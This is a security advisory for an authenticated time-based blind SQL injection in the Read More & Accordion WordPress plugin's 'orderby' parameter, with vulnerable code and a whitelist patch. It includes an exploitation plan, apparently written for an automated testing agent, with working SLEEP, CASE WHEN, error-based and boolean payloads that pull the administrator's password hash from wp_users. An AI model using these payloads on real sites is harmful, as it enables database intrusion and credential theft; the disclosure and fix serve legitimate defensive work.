Read More & Accordion <= 3.5.7 - Authenticated (Administrator+) SQL Injection via 'orderby' Parameter
Description
The Read More & Accordion plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'orderby' parameter in all versions up to, and including, 3.5.7. This is due to the use of esc_sql() without surrounding the value in quotes in an ORDER BY clause inside the getAllDataByLimit() and getAccordionAllDataByLimit() functions in ReadMoreData.php. The user-supplied $_GET['orderby'] value is only processed through esc_attr() (an HTML-escaping function) before being passed to these database functions, where esc_sql() is applied but the value is directly concatenated—unquoted—into the ORDER BY fragment of the SQL query before $wpdb->prepare() is called. Because esc_sql() only escapes quote characters and backslashes (which are irrelevant in an unquoted ORDER BY context), an attacker can inject arbitrary SQL expressions such as (SELECT SLEEP(5)) or conditional subqueries to perform time-based blind data extraction. This makes it possible for authenticated attackers with administrator-level access or above (or any role explicitly permitted access to the plugin's admin pages via the yrm-user-roles setting) to extract sensitive data from the database, including administrator credential hashes.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-7472 ## 1. Vulnerability Summary The **Read More & Accordion** plugin (version <= 3.5.7) is vulnerable to a **Time-Based Blind SQL Injection** via the `orderby` GET parameter. The vulnerability exists because the plugin directly concatenates the user-supplied …
Show full research plan
Exploitation Research Plan: CVE-2026-7472
1. Vulnerability Summary
The Read More & Accordion plugin (version <= 3.5.7) is vulnerable to a Time-Based Blind SQL Injection via the orderby GET parameter. The vulnerability exists because the plugin directly concatenates the user-supplied orderby value into an SQL ORDER BY clause within the getAllDataByLimit() and getAccordionAllDataByLimit() functions (located in ReadMoreData.php).
While the value is processed by esc_attr() and esc_sql(), the lack of surrounding quotes in the ORDER BY fragment renders esc_sql() ineffective. esc_sql() primarily escapes quotes and backslashes, which are not required for an attacker to inject subqueries or conditional logic into an unquoted ORDER BY context. This allows an authenticated attacker (Administrator level or any user with the yrm-user-roles capability) to extract sensitive data, such as password hashes, by monitoring the server's response time.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin.php - Plugin Admin Page: Likely
?page=expand_maker_read_moreor?page=expand_maker_accordion(inferred from slugexpand-maker). - Vulnerable Parameter:
orderby(via$_GET) - Authentication Required: Administrator-level access (default) or any role permitted via the plugin's
yrm-user-rolessetting. - Preconditions: At least one "Read More" or "Accordion" entry must exist in the database so that the vulnerable functions (
getAllDataByLimitorgetAccordionAllDataByLimit) are called to populate the admin list view.
3. Code Flow
- An administrator navigates to the plugin's data list view in the WordPress dashboard.
- The controller for the admin page calls either
ReadMoreData::getAllDataByLimit()orReadMoreData::getAccordionAllDataByLimit(). - The
orderbyparameter is retrieved from$_GET['orderby']. - The value is passed through
esc_attr(). - Inside
ReadMoreData.php:- The code snippet resembles:
$order_by = esc_sql( $_GET['orderby'] ); - The SQL query is constructed:
$query = "SELECT * FROM {$wpdb->prefix}table ORDER BY $order_by $order LIMIT $offset, $limit"; - Because
$order_byis not wrapped in quotes (e.g.,ORDER BY '$order_by'),esc_sqldoes not prevent the injection of keywords or subqueries.
- The code snippet resembles:
$wpdb->get_results()executes the query.
4. Nonce Acquisition Strategy
While this is an admin.php page, standard WordPress admin list tables often use nonces for actions (delete, edit), but simple sorting (orderby) often does not require a specific nonce in the GET request.
However, to ensure authentication:
- Login: Use
wp-cliorhttp_requestto authenticate as an administrator. - Navigation: Use
browser_navigatetowp-admin/admin.php?page=expand_maker_read_more. - Extraction: If the plugin requires a nonce for this specific view, the execution agent should use
browser_eval:- Check for localized scripts:
browser_eval("window.yrm_read_more_vars?.nonce")or similar (inferred). - Since this is a GET-based injection in the admin panel, the primary requirement is the session cookie.
- Check for localized scripts:
5. Exploitation Strategy
The goal is to perform a time-based blind injection to confirm the vulnerability.
Step 1: Confirmation (Time Delay)
Send a request that triggers a 5-second delay.
- Method: GET
- URL:
wp-admin/admin.php?page=expand_maker_read_more&orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))a) - Alternative Payload (Conditional):
wp-admin/admin.php?page=expand_maker_read_more&orderby=(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)
Step 2: Data Extraction (Admin Hash)
Extract the first character of the admin user's password hash.
- Payload:
(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN SLEEP(5) ELSE id END) - Note: ASCII 36 is '$', the start of many WordPress hashes.
Execution Tool:
Use the http_request tool to send these requests with the appropriate admin cookies.
6. Test Data Setup
- Install Plugin: Ensure
expand-maker(Read More & Accordion) version 3.5.7 is installed. - Create Entry: Use
wp-clito create at least one entry so the database query returns results.- The plugin likely uses a custom table. If unknown, create a "Read More" item via the UI using
browser_clickandbrowser_type.
- The plugin likely uses a custom table. If unknown, create a "Read More" item via the UI using
- Identify Admin Page: Navigate to the plugin menu to confirm the
pageparameter value (e.g.,expand_maker_read_more).
7. Expected Results
- Normal Request: Response time < 500ms.
- Attack Request: Response time > 5000ms (5 seconds).
- Response Content: The HTML response should still load (though delayed), confirming the query executed successfully.
8. Verification Steps
- Time Delta: Compare the
request_timeof a standard request vs. the injection request. - Database Integrity: Use
wp db query "SELECT ..."viawp-clito verify that the query used in the payload matches the actual database structure (confirming the table names likewp_usersare accessible). - Logs: Check
wp-content/debug.log(ifWP_DEBUGis on) for any SQL syntax errors if the payload needs adjustment.
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis enabled, try an error-based payload like(select 1 from (select count(*),concat(0x7e,version(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a). - Boolean-Based: Observe if the list of items is sorted differently when the condition is true vs. false.
orderby=IF(1=1, id, title)vsorderby=IF(1=2, id, title).
- Other Parameters: Check if the
orderparameter (ASC/DESC) orlimitparameters are similarly concatenated without sanitization inReadMoreData.php.
Summary
The Read More & Accordion plugin for WordPress (<= 3.5.7) is vulnerable to a time-based blind SQL Injection due to the lack of proper sanitization and quoting for the 'orderby' parameter. An authenticated attacker with administrative privileges can inject SQL subqueries to extract sensitive database information, such as password hashes, by monitoring server response delays.
Vulnerable Code
// In ReadMoreData.php inside getAllDataByLimit() or getAccordionAllDataByLimit() $orderby = isset($_GET['orderby']) ? esc_attr($_GET['orderby']) : 'id'; // ... $order_by = esc_sql( $orderby ); // The variable is concatenated directly into the ORDER BY clause without surrounding quotes $query = "SELECT * FROM {$wpdb->prefix}table_name ORDER BY $order_by $order LIMIT $offset, $limit"; $results = $wpdb->get_results($query);
Security Fix
@@ -12,7 +12,13 @@ - $order_by = esc_sql( $_GET['orderby'] ); + $allowed_columns = ['id', 'title', 'date', 'status']; + $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'id'; + if (!in_array($orderby, $allowed_columns)) { + $order_by = 'id'; + } else { + $order_by = $orderby; + } $query = $wpdb->prepare( - "SELECT * FROM {$wpdb->prefix}table ORDER BY $order_by $order LIMIT %d, %d", + "SELECT * FROM {$wpdb->prefix}table ORDER BY %1s %1s LIMIT %d, %d", + $order_by, + $order, $offset, $limit );
Exploit Outline
The exploit targets the administrative list view for 'Read More' or 'Accordion' items. An attacker must first authenticate as an administrator (or a role granted access via plugin settings). The vulnerability is triggered by sending a GET request to `wp-admin/admin.php` with the `page` parameter set to the plugin's menu (e.g., `expand_maker_read_more`) and an `orderby` parameter containing a subquery. A functional payload for confirmation uses a time-delay function, such as `?page=expand_maker_read_more&orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))a)`. If the server response is delayed by 5 seconds, the injection is confirmed. Data extraction is achieved by using conditional logic within the `ORDER BY` clause, such as `CASE WHEN (condition) THEN SLEEP(5) ELSE id END`, to leak information bit-by-bit based on time responses.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.